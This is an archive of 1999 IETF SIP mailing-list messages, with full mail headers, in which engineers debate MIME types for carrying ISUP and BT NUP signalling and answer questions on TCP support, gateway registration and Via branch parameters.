Eric> If the originating MGC knows the terminating MGC "speaks" BT NUP, 
Eric> then there is no need to translate it.

I couldn't agree more. This is what I'd like to see: a draft that 
addresses transit of User Part messages in general, not just ISUP 
messages. Eric's draft appears to do this (although the name of
"application/ISUP" is horribly misleading if it is allowed to transit
TUP variants). What Mark has proposed in his "Comments on the proposed 
ISUP MIME type" explicitly does *not* allow this.

Finally, to address one of your earlier comments: why would we want to 
go through the effort to define separate ISUP and TUP drafts, when
they'll be doing the same thing? By defining an "application/ss7-userpart"
draft, we do the work *once* for both.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Sep 14 01:54:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA15803
	for confctrl-outgoing; Tue, 14 Sep 1999 01:54:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA15792
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 01:54:24 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA03090
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 01:54:22 -0700 (PDT)
Received: from mailhub.tei.ericsson.se (mailhub.tei.ericsson.se [141.137.137.57])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id KAA18507
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 10:54:19 +0200 (MET DST)
Received: from tei.ericsson.se ([141.137.72.60])
	by mailhub.tei.ericsson.se (8.9.1/8.9.1) with ESMTP id KAA04515
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 10:55:34 +0200 (MET DST)
Message-ID: <37DE0D9C.AB6E42B9@tei.ericsson.se>
Date: Tue, 14 Sep 1999 10:55:56 +0200
From: Vincenzo Crupi <vincenzo.crupi@tei.ericsson.se>
Organization: Ericsson Telecomunicazioni - R&D
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.5.1 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: SIPML <confctrl@ISI.EDU>
Subject: TCP Connections
Content-Type: multipart/mixed;
 boundary="------------133429A09EC83405FB4687D6"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------133429A09EC83405FB4687D6
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello,

according to SIP rfc sec. 1.5.2
..."User agents SHOULD implement both UDP and TCP transport." and
"Proxy, registrar, and redirect servers MUST implement both UDP and TCP
transport"
and in case of a Proxy server, it must be stateful  (sec. 12.3) to
accept TCP requests.

The question regards a stateless proxy server: should it rejects TCP
requests or MUST anyway accept it?


Thanks
Kind regards





--------------133429A09EC83405FB4687D6
Content-Type: text/x-vcard; charset=us-ascii;
 name="vincenzo.crupi.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Vincenzo Crupi
Content-Disposition: attachment;
 filename="vincenzo.crupi.vcf"

begin:vcard 
n:Crupi;Vincenzo
tel;fax:+39 06 7258 3940
tel;work:+39 06 7258 3143
x-mozilla-html:FALSE
org:Ericsson Telecomunicazioni S.p.A.;TTSA
adr:;;Via Anagnina 203;Morena - Rome;;00040;
version:2.1
email;internet:vincenzo.crupi@tei.ericsson.se
title:SW Engineer
x-mozilla-cpt:;-20072
fn:Vincenzo Crupi
end:vcard

--------------133429A09EC83405FB4687D6--


From confctrl-owner  Tue Sep 14 03:45:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA19110
	for confctrl-outgoing; Tue, 14 Sep 1999 03:45:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA19105
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 03:45:16 -0700 (PDT)
Received: from qhars001.nortel.com (qhars001.NortelNetworks.com [192.100.101.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA06660
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 03:45:10 -0700 (PDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars001.nortel.com; Tue, 14 Sep 1999 11:12:02 +0100
Received: by zhard00m.europe.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <RY1Y8TJ0>; Tue, 14 Sep 1999 10:36:49 +0100
Message-ID: <61ABD11436FED21192440000F81F3E36012B6F3B@nwcwi1a.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: ericz@ipverse.com, "'Adam B. Roach'" <Adam.Roach@ericsson.com>
Cc: confctrl@ISI.EDU
Subject: RE: ISUP MIME type
Date: Tue, 14 Sep 1999 10:36:46 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

My proposal was just motivated by the desire to keep stuff like BT NUP out
of the IP network if at all possible. If you want to keep a list at your
originating MGC of the places to which it is 'safe' to send BT NUP, then by
all means go ahead - I don't want to do it but I'm not going to stop you.
So, I don't object to Adam's proposal of an application/ss7-userpart MIME
type or Eric's suggestion of an application/tup MIME type.

I'm afraid I have a pathelogical hatred of BT NUP which anyone else with
experience of this protocol will hopefully understand :-)

The main part of my comment was to suggest that we capture the compatibility
relationships between various ISUPs in the MIME parameters - what do you
think of that part ?

Regards,

Mark Watson
Nortel Networks

> ----------
> From: 	Adam B. Roach
> Sent: 	Monday, September 13, 1999 11:02 pm
> To: 	ericz@ipverse.com
> Cc: 	Watson, Mark [MOP:EP12-M:EXCH]; Adam.Roach@ericsson.com;
> confctrl@ISI.EDU
> Subject: 	Re: ISUP MIME type
> 
> Eric> The scenario that Adam describes, where BT NUP is translated into
> Eric> ISUP, transported via IP and then translated back into BT NUP
> Eric> implies less-than-optimized interworking logic on the originating
> Eric> MGC.
> 
> I beleive you missed my point altogether: my example was meant to 
> highlight the fact that Mark Watson's current proposal specifies
> that BT NUP **can't** be transited across the IP network. Even if the 
> MGC knows that the far end speaks BT NUP, Mark's messages imply that
> it **must** be translated to ISUP before encapsulation in a SIP message. 
> 
> Allow me to re-quote the exact section of Mark's message to which
> I was responding:
> 
> Mark> When moving to IP technology, it does not make sense to perpetuate
> Mark> this legacy signalling within the IP network, when the level of 
> Mark> services can be maintained with ISUP. There is therefore no need 
> Mark> to carry protocols such as BT NUP...
> 
> Eric> If the originating MGC knows the terminating MGC "speaks" BT NUP, 
> Eric> then there is no need to translate it.
> 
> I couldn't agree more. This is what I'd like to see: a draft that 
> addresses transit of User Part messages in general, not just ISUP 
> messages. Eric's draft appears to do this (although the name of
> "application/ISUP" is horribly misleading if it is allowed to transit
> TUP variants). What Mark has proposed in his "Comments on the proposed 
> ISUP MIME type" explicitly does *not* allow this.
> 
> Finally, to address one of your earlier comments: why would we want to 
> go through the effort to define separate ISUP and TUP drafts, when
> they'll be doing the same thing? By defining an "application/ss7-userpart"
> draft, we do the work *once* for both.
> 
> --
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS
> L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081
> USA
> 

From confctrl-owner  Tue Sep 14 07:10:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA25328
	for confctrl-outgoing; Tue, 14 Sep 1999 07:10:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25322
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 07:10:04 -0700 (PDT)
Received: from hubbub.cisco.com (hubbub.cisco.com [171.69.11.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14602
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 07:10:04 -0700 (PDT)
Received: from OranLT ([171.69.210.9]) by hubbub.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/CISCO.GATE.1.1) with SMTP id HAA06664; Tue, 14 Sep 1999 07:09:14 -0700 (PDT)
From: "David Oran" <oran@cisco.com>
To: <ericz@ipverse.com>, "'Mark Watson'" <mwatson@nortelnetworks.com>,
        "'Adam B. Roach'" <Adam.Roach@Ericsson.com>
Cc: <confctrl@ISI.EDU>
Subject: RE: ISUP MIME type
Date: Tue, 14 Sep 1999 10:09:06 -0400
Keywords: IETF
Message-ID: <NBBBIFCAKKOPNMMKHHEFOEECFJAA.oran@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <001101befe1e$13faf380$a301a8c7@ipverse.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

One of the nice things about SIP's architecture is that you can move
functions around. The ingress gateway could do the ISUP variant translation,
the terminating gateway could do the translation, or, the ingress, on seeing
an ISUP variant it didn't know what to do with, could forward the SIP
message to a SIP proxy that had the capability to do  ISUP variant
translation.

Which of these you do is an implementation decision.

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Eric Zimmerer
> Sent: Monday, September 13, 1999 11:33 AM
> To: 'Mark Watson'; 'Adam B. Roach'
> Cc: confctrl@ISI.EDU
> Subject: RE: ISUP MIME type
>
>
> Regarding comment 2,
>
> The scenario that Adam describes, where BT NUP is translated into ISUP,
> transported via IP and then translated back into BT NUP implies
> less-than-optimized interworking logic on the originating MGC.
>
> It makes sense that the originating MGC will have a good idea about where
> the call is going, and what protocols are understood by the
> terminating MGC.
> If the originating MGC knows the terminating MGC "speaks" BT NUP,
> then there
> is no need to translate it.  If the originating MGC does not know enough
> about the terminating MGC, then Mark's comment about standardizing on an
> ISUP variant solves the problem.  Pick a variant and standardize it as the
> "lowest common denominator" ISUP variant.
>
> Adam's scenario is still possible, but its occurrence is minimized.
>
>
> Eric
>
>
> =======================
> <snip>
> Regarding your comment (2), I think there is value to be gained by
> standardising on an ISUP variant wherever possible  and trying to keep the
> real legacy stuff (like BT NUP) out of the IP domain. The problem with
> sending BT NUP over the IP network is that you have to be sure that if the
> other end is a PSTN/ISDN gateway as well, then it understands BT NUP. This
> is not reasonable as this gateway may not even be in the UK. If you use UK
> ISUP, then as long as the egress PSTN network supports some kind of ISUP,
> you will be able to maintain transparency of the narrowband ISDN services.
>
> Regards,
>
> Mark Watson
> Nortel Networks
>
> <snip>
> >
> > 2) Similarly, the purpose of an ISUP mime type (and I still think
> >    we should be working to define an "application/ss7-userpart"
> mime type
> >    instead) is for ferrying user part packets from one end of
> the network
> >    to the other, with no real interpretation in the middle. So it seems
> >    unnecessary to force TUP protocols to be translated into ISUP. For
> >    instance, it seems like a heck of a lot of extra work to translate
> >    incoming BT NUP to British ISUP for its IP journey, and then have the
> >    egress gateway translate it *back* to BT NUP to put it out
> on the PSTN.
> >
> > --
> > Adam Roach, Ericsson Inc.
>
>


From confctrl-owner  Tue Sep 14 08:16:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA27640
	for confctrl-outgoing; Tue, 14 Sep 1999 08:16:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA27634
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 08:16:10 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA18423
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 08:16:08 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id KAA04805; Tue, 14 Sep 1999 10:20:51 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567EC.0054AF77 ; Tue, 14 Sep 1999 10:24:59 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: confctrl@ISI.EDU
Message-ID: <862567EC.0054ADFA.00@mwgate02.mw.3com.com>
Date: Tue, 14 Sep 1999 10:13:48 -0500
Subject: How to support bulk registration of ports for a GW
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




To route calls properly , a proxy server needs to know that a particular User
Agent is a GW and has say 50 ( currently ) ports. So  the proxy must route
atmost 50 calls to it.

Or say a  registering a hunt group ( Where one phone number corresponds to
multiple physical lines )

Is this in the domain of the SIP ? If yes, how is it implemented.

Thanks,

Anoop



From confctrl-owner  Tue Sep 14 08:22:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA27855
	for confctrl-outgoing; Tue, 14 Sep 1999 08:22:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA27850
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 08:22:13 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA18817
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 08:22:08 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id KAA05193; Tue, 14 Sep 1999 10:26:36 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567EC.005538FE ; Tue, 14 Sep 1999 10:30:51 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: confctrl@ISI.EDU
Message-ID: <862567EC.0055386B.00@mwgate02.mw.3com.com>
Date: Tue, 14 Sep 1999 10:19:40 -0500
Subject: Using branch in Via headers by a forking proxy
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




Can anyone shed some light as to why to do we use a branch field in the Via
header ?

This has lots of things to remember.
The response to the INVITE contain the branches in the Via field as well as the
tag in the To header.
So the proxy has to associate the endpoints using branches for sometime and then
needs to use the tag field in future.

Would it not be easier if we said:

The tag in the "To" field is added by the forking proxy and not by the endpoint.


Thanks,

Anoop



From confctrl-owner  Tue Sep 14 10:52:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA05548
	for confctrl-outgoing; Tue, 14 Sep 1999 10:52:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA05543
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 10:52:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA04359
	for <confctrl@isi.edu>; Tue, 14 Sep 1999 10:52:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Sep 14 13:51:49 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id NAA15012;
	Tue, 14 Sep 1999 13:51:50 -0400 (EDT)
Message-ID: <37DE8B21.60C2AF7F@dnrc.bell-labs.com>
Date: Tue, 14 Sep 1999 13:51:29 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: Using branch in Via headers by a forking proxy
References: <862567EC.0055386B.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Anoop Tripathi wrote:
> 
> Can anyone shed some light as to why to do we use a branch field in the Via
> header ?
> 
> This has lots of things to remember.
> The response to the INVITE contain the branches in the Via field as well as the
> tag in the To header.
> So the proxy has to associate the endpoints using branches for sometime and then
> needs to use the tag field in future.

No. When a proxy forks, it generates N instances of the request, each
with an identical To, From, Call-ID and CSeq. Each has a different
branch parameter, used to match responses to the request at that proxy
only. You CANNOT use the tag to match forked requests with their
responses. This is because each proxy may fork, and so each proxy needs
a local identifier to match the responses up. This is why the branch ID
is used. Each proxy gets its own branch ID's for matching. Branch ID's
are for local matching at a proxy, and tags in the To field are for end
to end matching in user agents.
 
> The tag in the "To" field is added by the forking proxy and not by the endpoint.

This doesn't work, as I argue above.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Sep 14 10:58:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA05855
	for confctrl-outgoing; Tue, 14 Sep 1999 10:58:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA05850
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 10:58:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA04924
	for <confctrl@isi.edu>; Tue, 14 Sep 1999 10:58:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Sep 14 13:57:39 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id NAA15189;
	Tue, 14 Sep 1999 13:57:39 -0400 (EDT)
Message-ID: <37DE8C7E.123DDB20@dnrc.bell-labs.com>
Date: Tue, 14 Sep 1999 13:57:18 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: How to support bulk registration of ports for a GW
References: <862567EC.0054ADFA.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Anoop Tripathi wrote:
> 
> To route calls properly , a proxy server needs to know that a particular User
> Agent is a GW and has say 50 ( currently ) ports. So  the proxy must route
> atmost 50 calls to it.
> 
> Or say a  registering a hunt group ( Where one phone number corresponds to
> multiple physical lines )
> 
> Is this in the domain of the SIP ? If yes, how is it implemented.

For routing calls to a gateway, the proper function is NOT
registrations, but the gateway location protocol, currently under
development in iptel. Thats because there is potentially a huge number
of phone numbers which may be routed to a single gateway. Things like
capacity (50 ports) are among the attributes defined in GLP (well, now
it will be a separate rfc, but thats a minor detail). Registrations
aren't able to handle things like phone number prefixes or capacity
attributes.

Hunt group can be done with registrations, since its really nothing more
than multiple user agents registering a single URI.

Whats the difference? Its the difference between a NAME and a ROUTE. In
the case of gateways, the final telephone number is not a name for the
gateway; rather, the gateway is an element on the ROUTE towards this
number in the telephone network. However, in the case of the hunt group,
the phone number is actually a NAME for that terminal. GLP is used to
distribute ROUTEs. Registrations bind NAMES to a user agent.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Sep 14 11:32:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA07692
	for confctrl-outgoing; Tue, 14 Sep 1999 11:32:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA07682
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 11:32:40 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA09856
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 11:32:39 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id NAA27285;
	Tue, 14 Sep 1999 13:29:04 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id NAA03937;
	Tue, 14 Sep 1999 13:29:04 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45 [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id NAA23749; Tue, 14 Sep 1999 13:29:03 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id NAA15430;
	Tue, 14 Sep 1999 13:29:02 -0500 (CDT)
Date: Tue, 14 Sep 1999 13:29:02 -0500 (CDT)
Message-Id: <199909141829.NAA15430@b04a45.exu.ericsson.se>
To: confctrl@ISI.EDU, Anoop_Tripathi@mw.3com.com
Subject: Re: How to support bulk registration of ports for a GW
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> 
> To route calls properly , a proxy server needs to know that a particular User
> Agent is a GW and has say 50 ( currently ) ports. So  the proxy must route
> atmost 50 calls to it.
> 
> Or say a  registering a hunt group ( Where one phone number corresponds to
> multiple physical lines )
> 
> Is this in the domain of the SIP ? If yes, how is it implemented.
> 

This is not in the domain of SIP in the sense that there doesn't need to
be any modifications to SIP to support this. The knowledge of your 
network topology and how many ports each gateway supports is outside the
scope of the SIP protocol. This seems more of a GLP issue.

> Thanks,
> Anoop 

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Tue Sep 14 11:38:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA07974
	for confctrl-outgoing; Tue, 14 Sep 1999 11:38:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA07968
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 11:38:02 -0700 (PDT)
Received: from ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA10537
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 11:37:56 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3a.ericsson.com [198.215.127.159])
	by ericsson.com (8.9.3/8.9.3) with ESMTP id NAA18920;
	Tue, 14 Sep 1999 13:36:03 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id NAA05743;
	Tue, 14 Sep 1999 13:36:02 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45 [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id NAA24195; Tue, 14 Sep 1999 13:36:01 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id NAA15438;
	Tue, 14 Sep 1999 13:36:01 -0500 (CDT)
Date: Tue, 14 Sep 1999 13:36:01 -0500 (CDT)
Message-Id: <199909141836.NAA15438@b04a45.exu.ericsson.se>
To: confctrl@ISI.EDU, Anoop_Tripathi@mw.3com.com
Subject: Re: Using branch in Via headers by a forking proxy
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> Can anyone shed some light as to why to do we use a branch field in the Via
> header ?
> 
> This has lots of things to remember.
> The response to the INVITE contain the branches in the Via field as well as the
> tag in the To header.
> So the proxy has to associate the endpoints using branches for sometime and then
> needs to use the tag field in future.
> 
> Would it not be easier if we said:
> 
> The tag in the "To" field is added by the forking proxy and not by the endpoint.
>

The Via: branch is from a different namespace than the To: tag. The Via: 
branch is also only used for a given transaction but a To: tag is intended
to be used for all subsequent requests/transactions within a call as well.
In general, it is not possible for the forking proxy to create a suitable
tag since it has meaning both for the forking proxy and for the User agent 
and must be unique within the User Agents' namespace.
 
> 
> Thanks,
> Anoop

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Tue Sep 14 15:05:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA19547
	for confctrl-outgoing; Tue, 14 Sep 1999 15:05:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA19542
	for <confctrl@zephyr.isi.edu>; Tue, 14 Sep 1999 15:05:25 -0700 (PDT)
Received: from sheffield.cnchost.com (sheffield.concentric.net [207.155.252.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA02737
	for <confctrl@ISI.EDU>; Tue, 14 Sep 1999 15:05:24 -0700 (PDT)
Received: from ericzlt01 ([205.158.54.162])
	by sheffield.cnchost.com
	id SAA10547; Tue, 14 Sep 1999 18:05:21 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.8]
Reply-To: <ericz@ipverse.com>
From: "Eric Zimmerer" <ericz@ipverse.com>
To: "'Adam B. Roach'" <Adam.Roach@ericsson.com>
Cc: <confctrl@ISI.EDU>
Subject: RE: ISUP MIME type
Date: Tue, 14 Sep 1999 15:04:04 -0700
Message-ID: <005201befefd$0f94e5f0$a301a8c7@ipverse.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-Reply-To: <199909132202.RAA28989@b04a24.exu.ericsson.se>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam,

We decided not to include non-ISUP user parts in the draft.  I believe a
well defined target is easier to hit.

If you would like to target BT NUP, I will be happy to give you comments on
your draft.

Thanks,

Eric

-----Original Message-----
From: Adam B. Roach [mailto:Adam.Roach@ericsson.com]
Sent: Monday, September 13, 1999 3:03 PM
To: ericz@ipverse.com
Cc: mwatson@nortelnetworks.com; Adam.Roach@ericsson.com;
confctrl@ISI.EDU
Subject: Re: ISUP MIME type


Eric> The scenario that Adam describes, where BT NUP is translated into
Eric> ISUP, transported via IP and then translated back into BT NUP
Eric> implies less-than-optimized interworking logic on the originating
Eric> MGC.

I beleive you missed my point altogether: my example was meant to
highlight the fact that Mark Watson's current proposal specifies
that BT NUP **can't** be transited across the IP network. Even if the
MGC knows that the far end speaks BT NUP, Mark's messages imply that
it **must** be translated to ISUP before encapsulation in a SIP message.

Allow me to re-quote the exact section of Mark's message to which
I was responding:

Mark> When moving to IP technology, it does not make sense to perpetuate
Mark> this legacy signalling within the IP network, when the level of
Mark> services can be maintained with ISUP. There is therefore no need
Mark> to carry protocols such as BT NUP...

Eric> If the originating MGC knows the terminating MGC "speaks" BT NUP,
Eric> then there is no need to translate it.

I couldn't agree more. This is what I'd like to see: a draft that
addresses transit of User Part messages in general, not just ISUP
messages. Eric's draft appears to do this (although the name of
"application/ISUP" is horribly misleading if it is allowed to transit
TUP variants). What Mark has proposed in his "Comments on the proposed
ISUP MIME type" explicitly does *not* allow this.

Finally, to address one of your earlier comments: why would we want to
go through the effort to define separate ISUP and TUP drafts, when
they'll be doing the same thing? By defining an "application/ss7-userpart"
draft, we do the work *once* for both.

--
